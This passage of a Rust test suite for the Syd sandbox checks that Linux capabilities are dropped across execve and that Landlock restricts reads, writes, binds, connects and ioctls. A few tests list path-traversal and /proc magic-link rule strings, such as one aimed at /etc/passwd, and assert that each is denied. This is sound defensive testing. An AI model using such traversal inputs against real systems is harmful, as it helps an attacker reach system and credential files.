fn test_syd_0_drop_cap_chown_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("chown");
// CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_0_drop_cap_chown_exec_allow_unsafe() -> TestResult {
skip_if_strace!();
skip_unless_cap!("chown");
// CAP_CHOWN is kept with trace/allow_unsafe_chown:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_chown:1")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// CAP_SETGID must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("setgid");
// CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_0_drop_cap_setgid_exec_safesetid() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setgid");
// CAP_SETGID is not dropped with SafeSetID.
let status = syd()
.p("off")
.m("setgid+${SYD_GID}:65533")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// CAP_SETUID must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("setuid");
// CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_0_drop_cap_setuid_exec_safesetid() -> TestResult {
skip_if_strace!();
skip_unless_cap!("setuid");
// CAP_SETUID is not dropped with SafeSetID.
let status = syd()
.p("off")
.m("setuid+${SYD_UID}:65533")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("net_bind_service");
// CAP_NET_BIND_SERVICE must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("net_bind_service");
// CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_0_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
skip_if_strace!();
skip_unless_cap!("net_bind_service");
// CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_bind:1")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("net_raw");
// CAP_NET_RAW must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("net_raw");
// CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_0_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
skip_if_strace!();
skip_unless_cap!("net_raw");
// CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("trace/allow_unsafe_socket:1")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("sys_time");
// CAP_SYS_TIME must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_cap!("sys_time");
// CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_0_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
skip_if_strace!();
skip_unless_cap!("sys_time");
// CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_time:1")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_cap!("syslog");
// CAP_SYSLOG must be dropped by default.
let status = syd()
.p("off")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_unless_cap!("syslog");
// CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_0_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
skip_if_strace!();
skip_unless_cap!("syslog");
// CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
let status = syd()
.p("off")
.m("trace/allow_unsafe_syslog:1")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// Ptrace must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// Ptrace is kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// Ptrace is kept with trace/allow_unsafe_ptrace:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_ptrace:1")
.do_("hascap", ["sys_ptrace"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_CHOWN must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_allow_unsafe() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_CHOWN is kept with trace/allow_unsafe_chown:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_chown:1")
.do_("hascap", ["chown"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETGID must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_safesetid() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETGID is not dropped with SafeSetID.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("setgid+${SYD_GID}:65533")
.do_("hascap", ["setgid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETUID must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_unsafe() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_safesetid() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SETUID is not dropped with SafeSetID.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("setuid+${SYD_UID}:65533")
.do_("hascap", ["setuid"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_BIND_SERVICE must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_bind:1")
.do_("hascap", ["net_bind_service"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_RAW must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
// As of 3.38.5 we do not keep it because it is fully emulated.
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_socket:1")
.do_("hascap", ["net_raw"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYS_TIME must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_time:1")
.do_("hascap", ["sys_time"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_default() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYSLOG must be dropped by default.
let status = syd()
.p("off")
.m("unshare/user:1")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_caps:1")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
skip_if_strace!();
skip_unless_unshare!("user");
// CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_syslog:1")
.do_("hascap", ["syslog"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_landlock_dotdot_deny() -> TestResult {
skip_unless_landlock_abi_supported!(3);
const TEST_CASES: &[&str] = &[
"allow/lock/read+/etc/../passwd",
"allow/lock/write,exec+..",
"allow/lock/ioctl+file../..",
"allow/lock/create,delete,rename+/hello../../",
"allow/lock/symlink,truncate+/opt/../..hello",
"allow/lock/readdir,mkdir,rmdir+/x.../../.",
"allow/lock/mkbdev,mkcdev,mkfifo+..././..",
"allow/lock/bind+/var/run/../socket",
];
for magic in TEST_CASES {
let status = syd()
.p("off")
.p("landlock")
.m(magic)
.do_("read_file", ["/"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
}
Ok(())
}
fn test_syd_landlock_magiclink_deny() -> TestResult {
skip_unless_landlock_abi_supported!(3);
let test_cases: &[&str] = &[
"allow/lock/read+/proc/self/exe",
"allow/lock/write,exec+/proc/self/cwd",
"allow/lock/exec+/proc/self/root",
"allow/lock/create,delete,rename+/proc/self/fd/0",
"allow/lock/symlink,truncate+/proc/self/ns/mnt",
"allow/lock/readdir,mkdir,rmdir+/proc/self/ns/pid",
"allow/lock/mkbdev,mkcdev,mkfifo+/proc/self/ns/user",
"allow/lock/bind+/proc/self/ns/net",
];
for magic in test_cases {
let status = syd()
.p("off")
.p("landlock")
.m(magic)
.do_("read_file", ["/"])
.status()
.expect("execute syd");
assert_status_loop!(status);
}
Ok(())
}
// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_allow() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// open(/, O_RDONLY) is allowed without Landlock.
let status = syd()
.p("off")
.do_("read_file", ["/"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_deny() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// open(/, O_RDONLY) is not allowed with Landlock.
// Requires readdir access right.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.do_("read_file", ["/"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_list() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// open(/, O_RDONLY) is allowed with Landlock explicitly.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,readdir,exec+/")
.do_("read_file", ["/"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_allow() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is allowed without Landlock.
let status = syd()
.p("off")
.do_("write_file", ["./chk"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_deny() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is not allowed with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/write-/dev/shm")
.m("allow/lock/write-/tmp")
.m("allow/lock/write-/var/tmp")
.do_("write_file", ["./chk"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_list() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is allowed with Landlock explicitly.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/all-/dev/shm")
.m("allow/lock/all-/tmp")
.m("allow/lock/all-/var/tmp")
.m("allow/lock/write+./chk")
.do_("write_file", ["./chk"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_allow() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is allowed without Landlock.
let status = syd()
.p("off")
.do_("write_file_via_proc_reopen", ["./chk"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_deny() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is not allowed with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/write-/dev/shm")
.m("allow/lock/write-/tmp")
.m("allow/lock/write-/var/tmp")
.do_("write_file_via_proc_reopen", ["./chk"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_list() -> TestResult {
skip_unless_landlock_abi_supported!(3);
// Write input file.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// open(./chk, O_WRONLY) is allowed with Landlock explicitly.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/all-/dev/shm")
.m("allow/lock/all-/tmp")
.m("allow/lock/all-/var/tmp")
.m("allow/lock/write+./chk")
.do_("write_file_via_proc_reopen", ["./chk"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_allow() -> TestResult {
skip_unless_landlock_abi_supported!(4);
// BindTcp is allowed without Landlock.
let status = syd()
.p("off")
.do_("bind_port", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_deny() -> TestResult {
skip_unless_landlock_abi_supported!(4);
// BindTcp is denied with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,readdir,exec+/")
.do_("bind_port", ["0"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_list() -> TestResult {
skip_unless_landlock_abi_supported!(4);
// BindTcp is allowed explicitly with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/bind+0")
.do_("bind_port", ["0"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_allow() -> TestResult {
skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
skip_unless_landlock_abi_supported!(4);
// Select a random unprivileged port.
let port = randport()?;
// Write input data for socat.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// Start socat in the background.
let syd_pds = &SYD_PDS.to_string();
let mut child = Command::new("sh")
.arg("-cex")
.arg(format!(
"{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
))
.spawn()
.expect("execute socat");
// Wait for socat to start listening.
Command::new("timeout")
.arg("-sKILL")
.arg("45s")
.arg("sh")
.arg("-c")
.arg("while ! grep -q listening log; do :; done")
.status()
.expect("wait for socat");
// ConnectTcp is allowed without Landlock.
let status = syd()
.p("off")
.do_("connect_port", [&port.to_string()])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait socat");
assert_status_ok!(status);
Ok(())
}
// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_deny() -> TestResult {
skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
skip_unless_landlock_abi_supported!(4);
// Select a random unprivileged port.
let port = randport()?;
// Write input data for socat.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// Start socat in the background.
let syd_pds = &SYD_PDS.to_string();
let mut child = Command::new("sh")
.arg("-cex")
.arg(format!(
"{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
))
.spawn()
.expect("execute socat");
// Wait for socat to start listening.
Command::new("timeout")
.arg("-sKILL")
.arg("45s")
.arg("sh")
.arg("-c")
.arg("while ! grep -q listening log; do :; done")
.status()
.expect("wait for socat");
// ConnectTcp is denied with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.do_("connect_port", [&port.to_string()])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait socat");
assert_status_access_denied!(status);
Ok(())
}
// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_list() -> TestResult {
skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
skip_unless_landlock_abi_supported!(4);
// Select a random unprivileged port.
let port = randport()?;
// Write input data for socat.
syd::fs::cat(
"chk",
"Change return success. Going and coming without error. Action brings good fortune.",
)?;
// Start socat in the background.
let syd_pds = &SYD_PDS.to_string();
let mut child = Command::new("sh")
.arg("-cex")
.arg(format!(
"{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
))
.spawn()
.expect("execute socat");
// Wait for socat to start listening.
Command::new("timeout")
.arg("-sKILL")
.arg("45s")
.arg("sh")
.arg("-c")
.arg("while ! grep -q listening log; do :; done")
.status()
.expect("wait for socat");
// ConnectTcp is allowed explicitly with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m(format!("allow/lock/connect+{port}"))
.do_("connect_port", [&port.to_string()])
.status()
.expect("execute syd");
let _ = child.kill();
child.wait().expect("wait socat");
assert_status_ok!(status);
Ok(())
}
// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_allow() -> TestResult {
skip_unless_landlock_abi_supported!(5);
// ioctl(/dev/random, FIONBIO) is allowed without Landlock.
// Its an invalid operation for /dev/random.
let status = syd()
.p("off")
.m("allow/ioctl+FIONBIO")
.do_("ioctl_device", ["/dev/random"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_deny() -> TestResult {
skip_unless_landlock_abi_supported!(5);
// ioctl(/dev/random, FIONBIO) is denied with Landlock.
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/ioctl+FIONBIO")
.do_("ioctl_device", ["/dev/random"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
// Python script to attempt openpty and exit with errno on failure.
const PYTHON_TRY_OPENPTY: &str =
"import os, sys;\ntry: os.openpty()\nexcept OSError as e: sys.exit(e.errno)";
// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_1() -> TestResult {
skip_unless_landlock_abi_supported!(5);
skip_unless_pty!();
skip_unless_available!("python3");
let status = syd()
.p("off")
.p("landlock")
.m("allow/lock/read,exec+/")
.m("allow/lock/write,ioctl+/dev/ptmx")
.m("allow/lock/write,ioctl+/dev/pts")
